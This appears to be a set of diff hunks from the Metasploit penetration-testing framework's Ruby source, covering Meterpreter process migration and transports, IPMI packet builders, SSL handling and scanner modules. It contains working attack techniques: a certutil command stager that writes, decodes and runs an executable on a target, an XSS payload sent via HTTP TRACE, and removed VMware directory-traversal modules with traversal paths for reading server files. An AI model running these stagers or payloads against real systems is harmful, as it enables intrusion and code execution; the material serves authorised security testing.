module Msf
class Post
module Android
module System
include Msf::Post::Common
include Msf::Post::File
# Returns system information from build.prop.
#
# @return [Hash] System information.
def get_build_prop
sys_data = {}
build_prop = cmd_exec('cat /system/build.prop')
return sys_data if build_prop.blank?
build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting|
sys_data.merge!(setting)
end
return sys_data
end
end ; end ; end ; end

View File

@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
# already true or if framework.db.connect called after_establish_connection.
if framework.db.active
unless opts['DeferModuleLoads']
self.framework.modules.refresh_cache_from_database
if self.framework.modules.cache_empty?
print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
end
end
elsif !framework.db.error.nil?
if !! framework.db.error
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
print_error("***")
print_error("*")
@ -217,12 +209,15 @@ class Driver < Msf::Ui::Driver
# Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false
unless opts['Framework'] || opts['DeferModuleLoads']
# Configure the framework module paths
self.framework.init_module_paths
self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath']
self.framework.init_module_paths(module_paths: opts['ModulePath'])
end
# Rebuild the module cache in a background thread
self.framework.threads.spawn("ModuleCacheRebuild", true) do
self.framework.modules.refresh_cache_from_module_files
if framework.db.active && !opts['DeferModuleLoads']
if self.framework.modules.cache_empty?
self.framework.threads.spawn("ModuleCacheRebuild", true) do
self.framework.modules.refresh_cache_from_module_files
end
print_status("The initial module cache will be built in the background, this can take 2-5 minutes...")
end
end

View File

@ -40,7 +40,7 @@ module Net # :nodoc:
when Fixnum
return Classes.invert.has_key?(cls)
else
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
raise ClassArgumentError, "Wrong class: #{cls.class}"
end
end
@ -55,7 +55,7 @@ module Net # :nodoc:
raise ClassArgumentError, "Unknown class number #{cls}"
end
else
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
raise ClassArgumentError, "Wrong class: #{cls.class}"
end
end
@ -81,7 +81,7 @@ module Net # :nodoc:
@str = Classes.invert[@@default]
@num = @@default
else
raise ClassArgumentError, "Wrong cls class: #{cls.class}"
raise ClassArgumentError, "Wrong class: #{cls.class}"
end
end
@ -89,15 +89,15 @@ module Net # :nodoc:
# *PRIVATE* method
def new_from_string(cls)
case cls
when /^CLASS\\d+/
# TODO!!!
when /^CLASS(\d+)$/
new_from_num(Regexp.last_match(1).to_i)
else
# String with name of class
if Classes.has_key? cls
@str = cls
@num = Classes[cls]
else
raise ClassesArgumentError, "Unknown cls #{cls}"
raise ClassArgumentError, "Unknown class #{cls}"
end
end
end
@ -105,11 +105,13 @@ module Net # :nodoc:
# Contructor for numeric data class
# *PRIVATE* method
def new_from_num(cls)
raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF
if Classes.invert.has_key? cls
@num = cls
@str = Classes.invert[cls]
else
raise ClassesArgumentError, "Unknown cls number #{cls}"
@num = cls
@str = "CLASS#{cls}"
end
end

View File

@ -167,8 +167,8 @@ module Net # :nodoc:
# *PRIVATE* method
def new_from_string(type)
case type
when /^TYPE\\d+/
# TODO!!!
when /^TYPE(\d+)$/
new_from_num(Regexp.last_match(1).to_i)
else
# String with name of type
if Types.has_key? type
@ -183,11 +183,13 @@ module Net # :nodoc:
# Contructor for numeric data type
# *PRIVATE* method
def new_from_num(type)
raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF
if Types.invert.has_key? type
@num = type
@str = Types.invert[type]
else
raise TypeArgumentError, "Unknown type number #{type}"
@num = type
@str = "TYPE#{type}"
end
end

View File

@ -2,6 +2,7 @@
require 'rex/exploitation/cmdstager/base'
require 'rex/exploitation/cmdstager/vbs'
require 'rex/exploitation/cmdstager/certutil'
require 'rex/exploitation/cmdstager/debug_write'
require 'rex/exploitation/cmdstager/debug_asm'
require 'rex/exploitation/cmdstager/tftp'

View File

@ -0,0 +1,115 @@
# -*- coding: binary -*-
require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'
module Rex
module Exploitation
###
#
# This class provides the ability to create a sequence of commands from an executable.
# When this sequence is ran via command injection or a shell, the resulting exe will
# be written to disk and executed.
#
# This particular version uses Windows certutil to base64 decode a file,
# created via echo >>, and decode it to the final binary.
#
#
# Written by xistence
# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
#
###
class CmdStagerCertutil < CmdStagerBase
def initialize(exe)
super
@var_encoded = Rex::Text.rand_text_alpha(5)
@var_decoded = Rex::Text.rand_text_alpha(5)
@decoder = nil # filled in later
end
# Override just to set the extra byte count
# @param opts [Array] The options to generate the command line
# @return [Array] The complete command line
def generate_cmds(opts)
# Set the start/end of the commands here (vs initialize) so we have @tempdir
@cmd_start = "echo "
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
xtra_len = @cmd_start.length + @cmd_end.length + 1
opts.merge!({ :extra => xtra_len })
super
end
# Simple base64 encoder for the executable
# @param opts [Array] The options to generate the command line
# @return [String] Base64 encoded executable
def encode_payload(opts)
Rex::Text.encode_base64(@exe)
end
# Combine the parts of the encoded file with the stuff that goes
# before / after it.
# @param parts [Array] Splitted commands
# @param opts [Array] The options to generate the command line
# @return [Array] The command line
def parts_to_commands(parts, opts)
cmds = []
parts.each do |p|
cmd = ''
cmd << @cmd_start
cmd << p
cmd << @cmd_end
cmds << cmd
end
cmds
end
# Generate the commands that will decode the file we just created
# @param opts [Array] The options to generate the command line
# @return [Array] The certutil Base64 decoder part of the command line
def generate_cmds_decoder(opts)
cmds = []
cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
return cmds
end
# We override compress commands just to stick in a few extra commands
# last second..
# @param cmds [Array] Complete command line
# @param opts [Array] Extra options for command line generation
# @return [Array] The complete command line including cleanup
def compress_commands(cmds, opts)
# Make it all happen
cmds << "#{@tempdir}#{@var_decoded}.exe"
# Clean up after unless requested not to..
if (not opts[:nodelete])
cmds << "del #{@tempdir}#{@var_encoded}.b64"
# NOTE: We won't be able to delete the exe while it's in use.
end
super
end
# Windows uses & to concat strings
#
# @return [String] Concat operator
def cmd_concat_operator
" & "
end
end
end
end

View File

@ -54,7 +54,7 @@ class ClientCore < Extension
# Initializes the 'core' portion of the meterpreter client commands.
#
def initialize(client)
super(client, "core")
super(client, 'core')
end
##
@ -81,7 +81,7 @@ class ClientCore < Extension
# No response?
if response.nil?
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
elsif response.result != 0
# This case happens when the target doesn't support the core_enumextcmd message.
# If this is the case, then we just want to ignore the error and return an empty
@ -180,7 +180,7 @@ class ClientCore < Extension
# No library path, no cookie.
if library_path.nil?
raise ArgumentError, "No library file path was supplied", caller
raise ArgumentError, 'No library file path was supplied', caller
end
# Set up the proper loading flags
@ -215,7 +215,7 @@ class ClientCore < Extension
# path of the local and target so that it gets loaded with a random
# name
if opts['Extension']
library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
target_path = library_path
end
end
@ -233,7 +233,7 @@ class ClientCore < Extension
# No response?
if response.nil?
raise RuntimeError, "No response was received to the core_loadlib request.", caller
raise RuntimeError, 'No response was received to the core_loadlib request.', caller
elsif response.result != 0
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
@ -431,16 +431,16 @@ class ClientCore < Extension
# Migrates the meterpreter instance to the process specified
# by pid. The connection to the server remains established.
#
def migrate(pid, writable_dir = nil)
keepalive = client.send_keepalives
def migrate(pid, writable_dir = nil, opts = {})
keepalive = client.send_keepalives
client.send_keepalives = false
process = nil
binary_suffix = nil
old_platform = client.platform
old_binary_suffix = client.binary_suffix
process = nil
binary_suffix = nil
old_platform = client.platform
old_binary_suffix = client.binary_suffix
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
# Determine the architecture for the pid we are going to migrate into...
client.sys.process.processes.each { | p |
@ -452,7 +452,7 @@ class ClientCore < Extension
# We cant migrate into a process that does not exist.
unless process
raise RuntimeError, "Cannot migrate into non existent process", caller
raise RuntimeError, 'Cannot migrate into non existent process', caller
end
# We cannot migrate into a process that we are unable to open
@ -465,7 +465,7 @@ class ClientCore < Extension
# And we also cannot migrate into our own current process...
if process['pid'] == client.sys.process.getpid
raise RuntimeError, "Cannot migrate into current process", caller
raise RuntimeError, 'Cannot migrate into current process', caller
end
if client.platform =~ /linux/
@ -484,19 +484,19 @@ class ClientCore < Extension
blob = generate_payload_stub(process)
# Build the migration request
request = Packet.create_request( 'core_migrate' )
request = Packet.create_request('core_migrate')
if client.platform =~ /linux/i
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
if socket_path.length > UNIX_PATH_MAX - 1
raise RuntimeError, "The writable dir is too long", caller
raise RuntimeError, 'The writable dir is too long', caller
end
pos = blob.index(DEFAULT_SOCK_PATH)
if pos.nil?
raise RuntimeError, "The meterpreter binary is wrong", caller
raise RuntimeError, 'The meterpreter binary is wrong', caller
end
blob[pos, socket_path.length + 1] = socket_path + "\x00"
@ -510,14 +510,17 @@ class ClientCore < Extension
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
if process['arch'] == ARCH_X86_64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
else
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
end
# Send the migration request (bump up the timeout to 60 seconds)
client.send_request( request, 60 )
# Send the migration request. Timeout can be specified by the caller, or set to a min
# of 60 seconds.
timeout = [(opts[:timeout] || 0), 60].max
client.send_request(request, timeout)
if client.passive_service
# Sleep for 5 seconds to allow the full handoff, this prevents
@ -539,7 +542,7 @@ class ClientCore < Extension
# keep from hanging the packet dispatcher thread, which results
# in blocking the entire process.
begin
Timeout.timeout(60) do
Timeout.timeout(timeout) do
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
@ -600,10 +603,10 @@ class ClientCore < Extension
if not client.passive_service
self.client.send_packet(request)
else
# If this is a HTTP/HTTPS session we need to wait a few seconds
# otherwise the session may not receive the command before we
# kill the handler. This could be improved by the server side
# sending a reply to shutdown first.
# If this is a HTTP/HTTPS session we need to wait a few seconds
# otherwise the session may not receive the command before we
# kill the handler. This could be improved by the server side
# sending a reply to shutdown first.
self.client.send_packet_wait_response(request, 10)
end
true

View File

@ -28,6 +28,9 @@ class Console::CommandDispatcher::Core
self.extensions = []
self.bgjobs = []
self.bgjob_id = 0
# keep a lookup table to refer to transports by index
@transport_map = {}
end
@@irb_opts = Rex::Parser::Arguments.new(
@ -571,6 +574,7 @@ class Console::CommandDispatcher::Core
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
'-p' => [ true, 'LPORT parameter' ],
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
@ -601,6 +605,13 @@ class Console::CommandDispatcher::Core
print_line(@@transport_opts.usage)
end
def update_transport_map
result = client.core.transport_list
@transport_map.clear
sorted_by_url = result[:transports].sort_by { |k| k[:url] }
sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t }
end
#
# Manage transports
#
@ -637,12 +648,15 @@ class Console::CommandDispatcher::Core
}
valid = true
transport_index = 0
@@transport_opts.parse(args) do |opt, idx, val|
case opt
when '-c'
opts[:cert] = val
when '-u'
opts[:uri] = val
when '-i'
transport_index = val.to_i
when '-ph'
opts[:proxy_host] = val
when '-pp'
@ -685,13 +699,21 @@ class Console::CommandDispatcher::Core
return
end
update_transport_map
case command
when 'list'
result = client.core.transport_list
current_transport_url = result[:transports].first[:url]
sorted_by_url = result[:transports].sort_by { |k| k[:url] }
# this will output the session timeout first
print_timeouts(result)
columns =[
'ID',
'Curr',
'URL',
'Comms T/O',
@ -709,16 +731,13 @@ class Console::CommandDispatcher::Core
# next draw up a table of transport entries
tbl = Rex::Ui::Text::Table.new(
'SortIndex' => -1, # disable any sorting
'SortIndex' => 0, # sort by ID
'Indent' => 4,
'Columns' => columns)
first = true
result[:transports].each do |t|
entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
t[:retry_total], t[:retry_wait] ]
first = false
sorted_by_url.each_with_index do |t, i|
entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url],
t[:comm_timeout], t[:retry_total], t[:retry_wait] ]
if opts[:verbose]
entry << t[:ua]
@ -772,6 +791,22 @@ class Console::CommandDispatcher::Core
return
end
if !transport_index.zero? && @transport_map.has_key?(transport_index)
# validate the URL
url_to_delete = @transport_map[transport_index][:url]
begin
uri = URI.parse(url_to_delete)
opts[:transport] = "reverse_#{uri.scheme}"
opts[:lhost] = uri.host
opts[:lport] = uri.port
opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http")
rescue URI::InvalidURIError
print_error("Failed to parse URL: #{url_to_delete}")
return
end
end
print_status("Removing transport ...")
if client.core.transport_remove(opts)
print_good("Successfully removed #{opts[:transport]} transport.")
@ -781,15 +816,21 @@ class Console::CommandDispatcher::Core
end
end
@@migrate_opts = Rex::Parser::Arguments.new(
'-p' => [true, 'Writable path - Linux only (eg. /tmp).'],
'-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'],
'-h' => [false, 'Help menu.']
)
def cmd_migrate_help
if client.platform =~ /linux/
print_line "Usage: migrate <pid> [writable_path]"
print_line('Usage: migrate <pid> [-p writable_path] [-t timeout]')
else
print_line "Usage: migrate <pid>"
print_line('Usage: migrate <pid> [-t timeout]')
end
print_line
print_line "Migrates the server instance to another process."
print_line "NOTE: Any open channels or other dynamic state will be lost."
print_line('Migrates the server instance to another process.')
print_line('NOTE: Any open channels or other dynamic state will be lost.')
print_line
end
@ -800,19 +841,29 @@ class Console::CommandDispatcher::Core
# platforms a path for the unix domain socket used for IPC.
# @return [void]
def cmd_migrate(*args)
if ( args.length == 0 or args.include?("-h") )
if args.length == 0 || args.include?('-h')
cmd_migrate_help
return true
end
pid = args[0].to_i
if(pid == 0)
print_error("A process ID must be specified, not a process name")
if pid == 0
print_error('A process ID must be specified, not a process name')
return
end
if client.platform =~ /linux/
writable_dir = (args.length >= 2) ? args[1] : nil
writable_dir = nil
opts = {
timeout: nil
}
@@transport_opts.parse(args) do |opt, idx, val|
case opt
when '-t'
opts[:timeout] = val.to_i
when '-p'
writable_dir = val
end
end
begin
@ -834,7 +885,7 @@ class Console::CommandDispatcher::Core
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
next unless opts['MeterpreterRelay']
if existing_relays.empty?
print_status("Removing existing TCP relays...")
print_status('Removing existing TCP relays...')
end
if (service.stop_tcp_relay(lport, lhost))
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
@ -855,19 +906,15 @@ class Console::CommandDispatcher::Core
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
# Do this thang.
if client.platform =~ /linux/
client.core.migrate(pid, writable_dir)
else
client.core.migrate(pid)
end
client.core.migrate(pid, writable_dir, opts)
print_status("Migration completed successfully.")
print_status('Migration completed successfully.')
# Update session info (we may have a new username)
client.update_session_info
unless existing_relays.empty?
print_status("Recreating TCP relay(s)...")
print_status('Recreating TCP relay(s)...')
existing_relays.each do |r|
client.pfservice.start_tcp_relay(r[:lport], r[:opts])
print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}")

View File

@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys
# Lists running processes.
#
def cmd_ps(*args)
if args.include?('-h')
cmd_ps_help
return true
end
# Init vars
processes = client.sys.process.get_processes
search_term = nil
@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys
print_error("Enter a search term")
return true
end
when '-h'
cmd_ps_help
return true
when "-A"
print_line "Filtering on arch..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new

View File

@ -15,8 +15,8 @@ class Utils
def self.create_ipmi_getchannel_probe
[ # Get Channel Authentication Capabilities
0x06, 0x00, 0xff, 0x07, # RMCP Header
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5
].pack("C*")
end
@ -36,20 +36,20 @@ class Utils
0x00, 0x00,
# Reserved
0x00, 0x00
].pack("C*") +
].pack("C*") +
console_session_id +
[
0x00, 0x00, 0x00, 0x08,
0x00, 0x00, 0x00, 0x08,
0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x08,
0x01, 0x00, 0x00, 0x08,
# HMAC-SHA1
0x01, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x08,
0x01, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x08,
# AES Encryption
0x01, 0x00, 0x00, 0x00
].pack("C*")
head + [data.length].pack('v') + data
head + [data.length].pack('v') + data
end
@ -68,39 +68,43 @@ class Utils
0x00, 0x00,
# Reserved
0x00, 0x00
].pack("C*") +
].pack("C*") +
console_session_id +
[
0x00, 0x00, 0x00, 0x08,
0x00, 0x00, 0x00, 0x08,
# Cipher 0
0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x08,
# Cipher 0
0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x08,
# No Encryption
# No Encryption
0x00, 0x00, 0x00, 0x00
].pack("C*")
head + [data.length].pack('v') + data
head + [data.length].pack('v') + data
end
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
[
head = [
0x06, 0x00, 0xff, 0x07, # RMCP Header
0x06, # RMCP+ Authentication Type
PAYLOAD_RAKP1, # Payload Type
0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
0x00, 0x00, 0x00, 0x00
].pack("C*") +
bmc_session_id +
console_random_id +
[
0x14, 0x00, 0x00,
username.length
].pack("C*") +
username
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
].pack("C*")
data =
[0x00, 0x00, 0x00, 0x00].pack("C*") +
bmc_session_id +
console_random_id +
[
0x14, 0x00, 0x00,
username.length
].pack("C*") +
username
head + [data.length].pack('v') + data
end
@ -109,7 +113,7 @@ class Utils
bmc_sid +
con_rid +
bmc_rid +
bmc_gid +
bmc_gid +
[ auth_level ].pack("C") +
[ username.length ].pack("C") +
username
@ -122,4 +126,4 @@ class Utils
end
end
end
end
end

View File

@ -56,52 +56,38 @@ begin
def initsock(params = nil)
super
# The autonegotiation preference for SSL/TLS versions
versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2]
# Default to SSLv23 (automatically negotiate)
version = :SSLv23
# Limit this to a specific SSL/TLS version if specified
# Let the caller specify a particular SSL/TLS version
if params
case params.ssl_version
when 'SSL2', :SSLv2
versions = [:SSLv2]
version = :SSLv2
when 'SSL23', :SSLv23
versions = [:SSLv23]
version = :SSLv23
when 'SSL3', :SSLv3
versions = [:SSLv3]
when 'TLS1', :TLSv1
versions = [:TLSv1]
else
# Leave the version list as-is (Auto)
version = :SSLv3
when 'TLS1','TLS1.0', :TLSv1
version = :TLSv1
when 'TLS1.1', :TLSv1_1
version = :TLSv1_1
when 'TLS1.2', :TLSv1_2
version = :TLSv1_2
end
end
# Limit our versions to those supported by the linked OpenSSL library
versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v }
# Raise an error if no selected versions are supported
if versions.length == 0
if ! OpenSSL::SSL::SSLContext::METHODS.include? version
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
end
last_error = nil
# Try intializing the socket with this SSL/TLS version
# This will throw an exception if it fails
initsock_with_ssl_version(params, version)
# Iterate through SSL/TLS versions until we successfully negotiate
versions.each do |version|
begin
# Try intializing the socket with this SSL/TLS version
# This will throw an exception if it fails
initsock_with_ssl_version(params, version)
# Success! Record what method was used and return
self.ssl_negotiated_version = version
return
rescue OpenSSL::SSL::SSLError => e
last_error = e
end
end
# No SSL/TLS versions succeeded, raise the last error
raise last_error
# Track the SSL version
self.ssl_negotiated_version = version
end
def initsock_with_ssl_version(params, version)
@ -137,9 +123,6 @@ begin
# Tie the context to a socket
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
# XXX - enabling this causes infinite recursion, so disable for now
# self.sslsock.sync_close = true
# Force a negotiation timeout
begin
Timeout.timeout(params.timeout) do

View File

@ -1522,7 +1522,10 @@ module Text
# @param data [#delete]
# @param badchars [String] A list of characters considered to be bad
def self.remove_badchars(data, badchars = '')
data.delete(badchars)
return data if badchars.length == 0
badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join
data.gsub!(/[#{badchars_pat}]/n, '')
data
end
#
@ -1531,7 +1534,8 @@ module Text
# @param keepers [String]
# @return [String] All characters not contained in +keepers+
def self.charset_exclude(keepers)
[*(0..255)].pack('C*').delete(keepers)
excluded_bytes = [*(0..255)] - keepers.unpack("C*")
excluded_bytes.pack("C*")
end
#

View File

@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.10'
spec.add_runtime_dependency 'metasploit-payloads', '1.0.12'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -43,8 +43,6 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{ip} No certificate subject or CN found")
return
end
issuer_pattern = Regexp.new(datastore['ISSUER'], [Regexp::EXTENDED, 'n'])
sub = cert.subject.to_a
before = Time.parse("#{cert.not_before}")
@ -61,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
if ( "#{cert.issuer}" !~ /#{issuer_pattern}/)
if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n
print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" )
elsif datastore['SHOWALL']
# show verbose as status

View File

@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
if rport == 443 or ssl
proto = "https"
end
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
"#{proto}://#{vhost}:#{rport}#{@uri.to_s}"
end
def run_host(ip)
@ -127,15 +127,21 @@ class Metasploit3 < Msf::Auxiliary
print_error("You need need to set AUTH_URI when using PUT Method !")
return
end
extra_info = ""
if rhost != vhost
extra_info = " (#{rhost})"
end
@uri = find_auth_uri
if ! @uri
print_error("#{target_url} No URI found that asks for HTTP authentication")
print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication")
return
end
@uri = "/#{@uri}" if @uri[0,1] != "/"
print_status("Attempting to login to #{target_url}")
print_status("Attempting to login to #{target_url}#{extra_info}")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],

View File

@ -15,9 +15,13 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'HTTP TRACE Detection',
'Description' => 'Test if TRACE is actually enabled. 405 (Apache) 501(IIS) if its disabled, 200 if it is',
'Author' => ['CG'],
'Name' => 'HTTP Cross-Site Tracing Detection',
'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)',
'Author' =>
[
'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker
'CG' #HTTP TRACE Detection
],
'License' => MSF_LICENSE
)
end
@ -26,39 +30,27 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_raw({
'version' => '1.0',
'uri' => '/',
'uri' => '/<script>alert(1337)</script>', #XST Payload
'method' => 'TRACE',
'headers' =>
{
'Cookie' => "did you echo me back?",
},
}, 10)
})
if res.nil?
print_error("no repsonse for #{target_host}")
elsif (res.code == 200)
print_good("#{target_host}:#{rport}-->#{res.code}")
print_good("Response Headers:\n #{res.headers}")
print_good("Response Body:\n #{res.body}")
print_good("TRACE appears to be enabled on #{target_host}:#{rport} \n")
report_note(
:host => target_host,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'service.http.method.trace',
:data => "TRACE method is enabled for this service",
:update => :unique_data
)
elsif (res.code == 501)#Not Implemented
print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #IIS
elsif (res.code == 405)#Method Not Allowed
print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #Apache
else
print_status("#{res.code}")
unless res
vprint_error("#{rhost}:#{rport} did not reply to our request")
return
end
if res.body.to_s.index('/<script>alert(1337)</script>')
print_good("#{rhost}:#{rport} is vulnerable to Cross-Site Tracing")
report_vuln(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:info => "Vulnerable to Cross-Site Tracing",
)
else
vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end

View File

@ -1,87 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav')
def initialize
super(
'Name' => 'VMware Server Directory Traversal Vulnerability',
'Description' => 'This modules exploits the VMware Server Directory Traversal
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
allows remote attackers to read arbitrary files. Common VMware server ports
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
the gueststealer tool.',
'Author' => 'CG' ,
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
[ 'OSVDB', '59440' ],
[ 'BID', '36842' ],
[ 'CVE', '2009-3733' ],
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
]
)
register_options(
[
Opt::RPORT(8222),
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
], self.class)
end
def run_host(target_host)
begin
file = datastore['FILE']
trav = datastore['TRAV']
res = send_request_raw({
'uri' => trav+file,
'version' => '1.1',
'method' => 'GET'
}, 25)
if res.nil?
print_error("Connection timed out")
return
end
if res.code == 200
#print_status("Output Of Requested File:\n#{res.body}")
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
report_vuln(
{
:host => target_host,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
:refs => self.references,
:exploited_at => Time.now.utc
}
)
else
vprint_status("Received #{res.code} for #{trav}#{file}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end

View File

@ -1,75 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Module::Deprecated
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal')
def initialize(info={})
super(update_info(info,
'Name' => "VMWare Update Manager 4 Directory Traversal",
'Description' => %q{
This modules exploits a directory traversal vulnerability in VMWare Update Manager
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexey Sintsov', #Initial discovery, poc
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2011-4404'],
['EDB', '18138'],
['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
],
'DisclosureDate' => "Nov 21 2011"))
register_options(
[
Opt::RPORT(9084),
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
], self.class)
end
def run_host(ip)
fname = File.basename(datastore['FILE'])
